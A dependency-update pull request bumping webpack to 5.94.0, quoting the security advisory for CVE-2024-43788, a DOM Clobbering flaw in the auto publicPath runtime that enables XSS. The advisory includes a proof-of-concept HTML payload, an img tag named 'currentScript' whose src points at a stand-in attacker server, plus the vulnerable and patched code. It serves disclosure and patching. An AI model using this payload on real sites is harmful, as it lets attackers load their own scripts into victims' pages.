chore(deps): update dependency webpack to v5.94.0 [security] (#438)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [webpack](https://togithub.com/webpack/webpack) | [`5.93.0` ->
`5.94.0`](https://renovatebot.com/diffs/npm/webpack/5.93.0/5.94.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/webpack/5.94.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/webpack/5.94.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/webpack/5.93.0/5.94.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/webpack/5.93.0/5.94.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2024-43788](https://togithub.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986)

Hi, Webpack developer team!

### Summary

We discovered a DOM Clobbering vulnerability in Webpack’s
`AutoPublicPathRuntimeModule`. The DOM Clobbering gadget in the module
can lead to cross-site scripting (XSS) in web pages where scriptless
attacker-controlled HTML elements (e.g., an `img` tag with an
unsanitized `name` attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS
which allows XSS attack happens through an javascript code compiled by
Webpack (the vulnerable part is from Webpack). We believe this is a
severe issue. If Webpack’s code is not resilient to DOM Clobbering
attacks, it could lead to significant security vulnerabilities in any
web application using Webpack-compiled code.

### Details

#### Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first
embeds a piece of non-script, seemingly benign HTML markups in the
webpage (e.g. through a post or comment) and leverages the gadgets
(pieces of js code) living in the existing javascript code to transform
it into executable code. More for information about DOM Clobbering, here
are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

#### Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s
`AutoPublicPathRuntimeModule`. When the `output.publicPath` field in the
configuration is not set or is set to `auto`, the following code is
generated in the bundle to dynamically resolve and load additional
JavaScript files:

```
/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript)
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();
```

However, this code is vulnerable to a DOM Clobbering attack. The lookup
on the line with `document.currentScript` can be shadowed by an
attacker, causing it to return an attacker-controlled HTML element
instead of the current script element as intended. In such a scenario,
the `src` attribute of the attacker-controlled element will be used as
the `scriptUrl` and assigned to `__webpack_require__.p`. If additional
scripts are loaded from the server, `__webpack_require__.p` will be used
as the base URL, pointing to the attacker's domain. This could lead to
arbitrary script loading from the attacker's server, resulting in severe
security risks.

### PoC

Please note that we have identified a real-world exploitation of this
vulnerability in the Canvas LMS. Once the issue has been patched, I am
willing to share more details on the exploitation. For now, I’m
providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, `entry.js`
and `import1.js`, that are compiled using Webpack:

```
// entry.js
import('./import1.js')
  .then(module => {
    module.hello();
  })
  .catch(err => {
    console.error('Failed to load module', err);
  });
```

```
// import1.js
export function hello () {
  console.log('Hello');
}
```

The webpack.config.js is set up as follows:
```
const path = require('path');

module.exports = {
  entry: './entry.js', // Ensure the correct path to your entry file
  output: {
    filename: 'webpack-gadgets.bundle.js', // Output bundle file
    path: path.resolve(__dirname, 'dist'), // Output directory
    publicPath: "auto", // Or leave this field not set
  },
  target: 'web',
  mode: 'development',
};
```

When the developer builds these scripts into a bundle and adds it to a
webpage, the page could load the `import1.js` file from the attacker's
domain, `attacker.controlled.server`. The attacker only needs to insert
an `img` tag with the `name` attribute set to `currentScript`. This can
be done through a website's feature that allows users to embed certain
script-less HTML (e.g., markdown renderers, web email clients, forums)
or via an HTML injection vulnerability in third-party JavaScript loaded
on the page.

```
<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>
```

### Impact

This vulnerability can lead to cross-site scripting (XSS) on websites
that include Webpack-generated files and allow users to inject certain
scriptless HTML tags with improperly sanitized name or id attributes.

### Patch

A possible patch to this vulnerability could refer to the Google Closure
project which makes itself resistant to DOM Clobbering attack:
https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174

```
/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();
```

Please note that if we do not receive a response from the development
team within three months, we will disclose this vulnerability to the CVE
agent.

---

### Release Notes

<details>
<summary>webpack/webpack (webpack)</summary>

###
[`v5.94.0`](https://togithub.com/webpack/webpack/compare/v5.93.0...eabf85d8580dfcb876b56957ba5488222a4f7873)

[Compare
Source](https://togithub.com/webpack/webpack/compare/v5.93.0...v5.94.0)

</details>

---

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